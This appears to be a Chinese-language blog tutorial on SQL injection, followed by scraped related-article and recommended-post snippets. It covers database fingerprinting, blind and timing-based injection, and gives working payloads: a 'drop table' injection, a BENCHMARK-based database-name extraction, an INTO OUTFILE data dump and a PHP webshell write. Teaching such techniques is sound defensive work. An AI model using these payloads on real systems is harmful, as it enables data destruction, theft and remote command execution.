注入攻击是web安全领域中一种最为常见的攻击方式。注入攻击的本质,就是把用户输入的数据当做代码执行。这里有两个关键条件,第一是用户能够控制输入,第二个就是原本程序要执行的代码,将用户输入的数据进行了拼接,所以防御的思想就是基于上述两个条件。

SQL注入第一次为公众所知,是在1998年的著名黑客杂志<<Phrack>>上,一位名叫rfp的黑客发表了一片题为“NT Web Technolog Vulnerabities”的文章。

一个简单的SQL注入的典型例子:

var username;
username=Request.form(username);
var sql="select * from UserTable where name =' "+username+" ' ";

变量username为用户所提交,正常情况下,假如用户输入“XiaoMing”,那么SQL语句会执行:

select * from UserTable where username='XiaoMing';

若用户输入一段有特别含义的SQL语句,比如:

XiaoMing' ;drop table UserTable--

那么SQL语句在实际执行时就会如下:

select * from UserTable where username='XiaoMing';drop table UserTable--'

现在变成了查询后,再执行一个drop表的操作,而这个操作,使用户构造了恶意数据的结果。

在SQL注入的过程中,如果网站的Web服务器开启了消息回显,则可以根据回显的错误消息,探测网站用的是什么数据库,例如:错误提示Microsoft.JET Database Engine错误,则说明是通过JET引擎连接数据库,表明数据库为ACESS数据库,如果是ODBC的话,则说明是MSSQL数据库。

数据库的判断方法有很多,这里大致说下我了解到的几种方法思路,不详细展开。

第一种基于特定函数:不同的数据库对应着的函数名称不一样,如len()和length(),@@version()和version()在MSSQL,Mysql数据库中不一样,substring()和substr()在oracle和Mysql中不一样

第二种基于辅助符号的判断: “ / * ”是Mysql中的注释符。 “ --”是Oracle和MSSQL支持的注释符,";"子查询标识符,Oracle不支持多行查询。结合以上符合多种作何判断。

第三种基于错误回显信息判断:针对数据库引擎的判断。

  盲注(Blind Injection)

  在没有回显消息的时候,可以进行SQL盲注,最常见的盲注验证方法就是构造简单的条件语句,根据返回页面是否发生改变,来判断SQL语句是否得到了执行。

1.简单的 and 1=1 和 and 1=2

例如攻击者构造如下条件的语句:

http://newspaper.com/items.php?id=2 and 1=2

SQL语句由于“1=2”是个假命题,所以攻击者看到页面将为空或者是一个出错的页面。

为了进一步确定注入是否存在,攻击者必须再次验证这个过程:

http://newspaper.com/items.php?id=2 and 1=1

如果这个请求页面正常返回了,则说明SQL语句的"and"成功执行,那么就可以判断“id”参数存在SQL注入漏洞了。

  在这个攻击过程中,服务器虽然关闭了错误回显,但是通过攻击者简单的条件构造,再对比返回结果的差异,就可以判断出SQL注入漏洞是否存在,这就是盲注的工作原理。

  Timing Attack(边信道攻击)

  在Mysql中,有一个benchmark()函数,用来测试函数性能的,benchmark(count,expr)函数的执行结果就是将expr表达式执行count次数。因此,利用这个函数,可以让同一个函数执行若干次,使得结果返回时间比平时要长;通过时间长短的变化,可以判断出注入语句是否执行成功。这是一种边信道攻击,这个技巧在盲注中称为Timing Attack。

接下来我们使用这种技巧完成攻击,先构造攻击参数id值为:

2 UNION SELECT IF(SUBSTRING(current,1,1)=CHAR(119),BENCHMARK(5000000,ENCODE('MSG','by 5 seconds')),null)
FROM(Select Database() as current) as tbl;

这段Payload判断数据库名的第一个字母是否为小写的w。如果判断为真,则会通过BENCHMARK()函数造成较长的时延;如果不为真,则该语句将很快执行完。攻击者遍历所有字母,直到将整个数据库名称全部验证完成为止。与此相似的还可以通过以下函数获得一些额外信息:

database():当前连接的数据库名称

system_user():数据库的系统用户

current_user():登录到数据库的当前用户

last_insert_id():最后一次进行插入操作数据库的事务id

  若当前数据库用户(current_user)有写权限。可以将信息写入本地磁盘中。比如写入web目录中,攻击者就可以下载这些文件:

2 Union All SELECT *  FROM information_schema.tables where table_schema='mysql' ORDER BY table_name DESC INTO OUTFILE
'/path/location/on/server/www/schema.txt '

 或者是写入一个webshell:

2 Union All SELECT "<? system($_REQUEST['cmd']); ?>" ,2,3,4 INTO OUTFILE
"var/www/html/temp/c.php" --

在不同数据库中,有着类似benchmark()函数,可以被Timing Attack利用。例如:

MySql数据库中的 benchmark(1000000,expr)和sleep(5)

PostgreSQL数据库中的PG_SLEEP(5)和GENERATE_SERIES(1,1000000)

MSSQL Server中的 WAITFOR DELAY '0:0:5'

注入攻击(SQL注入)的更多相关文章

  1. 注入攻击-SQL注入和代码注入

    注入攻击 OWASP将注入攻击和跨站脚本攻击(XSS)列入网络应用程序十大常见安全风险.实际上,它们会一起出现,因为 XSS 攻击依赖于注入攻击的成功.虽然这是最明显的组合关系,但是注入攻击带来的不仅 ...

  2. 注入攻击(SQL注入防御)

    正确的防御SQL注入 sql注入的防御不是简单只做一些用户输入的escape处理,这样是不够的,只是提高了攻击者的门槛而已,还是不够安全. 例如 mysql_real_escape_string()函 ...

  3. XSS攻击&SQL注入攻击&CSRF攻击?

    - XSS(Cross Site Script,跨站脚本攻击)是向网页中注入恶意脚本在用户浏览网页时在用户浏览器中执行恶意脚本的攻击方式.跨站脚本攻击分有两种形式:反射型攻击(诱使用户点击一个嵌入恶意 ...

  4. XPath注入跟SQL注入差不多,只不过这里的数据库走的xml格式

    SQL注入这块不想细聊了,相信很多朋友都听到耳朵长茧,不外乎是提交含有SQL操作语句的信息给后端,后端如果没有做好过滤就执行该语句,攻击者自然可以随意操纵该站点的数据库. 比如有一个图书馆站点book ...

  5. False注入,以及SQL注入技巧总结

    title: False注入,以及SQL注入技巧总结 date: 2017-04-25 00:23:31 tags: ['SQL注入'] --- 利用False我们可以绕过一些特定的WAF以及一些未来 ...

  6. 防止sql注入式攻击 SQL注入学习——三层架构

    解决方案是:1.首先在UI录入时,要控制数据的类型和长度.防止SQL注入式攻击,系统提供检测注入式攻击的函数,一旦检测出注入式攻击,该数据即不能提交:2.业务逻辑层控制,通过在方法内部将SQL关键字用 ...

  7. xss 攻击 sql 注入

    XSS测试 "/><script>alert(document.cookie)</script><!-- <script>alert(docu ...

  8. 最新SQL手工注入语句&SQL注入大全

    看看下面的1.判断是否有注入;and 1=1;and 1=2 2.初步判断是否是mssql;and user>0 3.判断数据库系统;and (select count(*) from syso ...

  9. SQL注入 (1) SQL注入类型介绍

    SQL注入 SQL注入介绍与分类 1. 什么是sql注入 通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令. 2. sql注入类型 按照注入 ...

随机推荐

  1. Eureka 2.0 开源流产,真的对你影响很大吗?

    本文首发于 http://blog.didispace.com/Eureka-2-0-discontinued/ 最近连续发烧四天,偶尔刷两下朋友圈都能看到好几条来自不同号的关于<Eureka ...

  2. MyBatis学习总结(一)——ORM概要与MyBatis快速起步

    程序员应该将核心关注点放在业务上,而不应该将时间过多的浪费在CRUD中,多数的ORM框架都把增加.修改与删除做得非常不错了,然后数据库中查询无疑是使用频次最高.复杂度大.与性能密切相关的操作,我们希望 ...

  3. [PHP] 多进程通信-消息队列使用

    向消息队列发送数据和获取数据的测试 <?php $key=ftok(__FILE__,'a'); //获取消息队列 $queue=msg_get_queue($key,0666); //发送消息 ...

  4. 记录ThreadPoolTaskExecutor线程池的在项目中的实际应用,讲解一下线程池的配置和参数理解。

    前言:最近项目中与融360项目中接口对接,有反馈接口(也就是我们接收到请求,需要立即响应,并且还要有一个接口推送给他们其他计算结果),推送过程耗时.或者说两个接口不能是同时返回,有先后顺序. 这时我想 ...

  5. eclipse提交到git

    前言 今天是我正式加入GitHub的第一天,作为世界上最大的同性交友社区,以push和pull出名的它,让我坠入其中并无法自拔,废话不多说,上教程: 步骤一 首先,你需要注册一个github账号,相信 ...

  6. 微信wx.request

    官方 wx.request 代码,Post 没成功过,使用Get 方式成功了. wx.request({ url: 'test.php', //仅为示例,并非真实的接口地址 data: { x: '' ...

  7. nodeJs express mongodb 建站(mac 版)

    基本环境 homebrew.node.npm.express.mongodb 1.node .npm : (1)辅助工具:homebrew安装(mac下一个软件管理工具,相当于Red hat的yum, ...

  8. Django的URL路由系统

    一. URL配置 URL配置就像Django所支撑网站的目录.它的本质是URL与要为该URL调用的视图之间的映射表.你就是以这种方式告诉Django,对于哪个URL调用的这段代码. 基本格式 from ...

  9. CentOS7系统搭建外网环境

    理一下思路第一步 Vultr 注册 充值10刀了: 可以支付宝支付.不再需要绑定银行卡 第二步 选择 一个自己中意的款 系统啊流量之类的购买     Deploy New Instance 第三步  ...

  10. viewPager+fragment如何刷新缓存fragment

    最近在做一个项目,有一个功能是答题翻页.于是需要实现在这一页的时候就缓存下一页. 刚刚开始我是用 setOnPageChangeListener方法监听,滑到这一页的时候才刷新这一页: public ...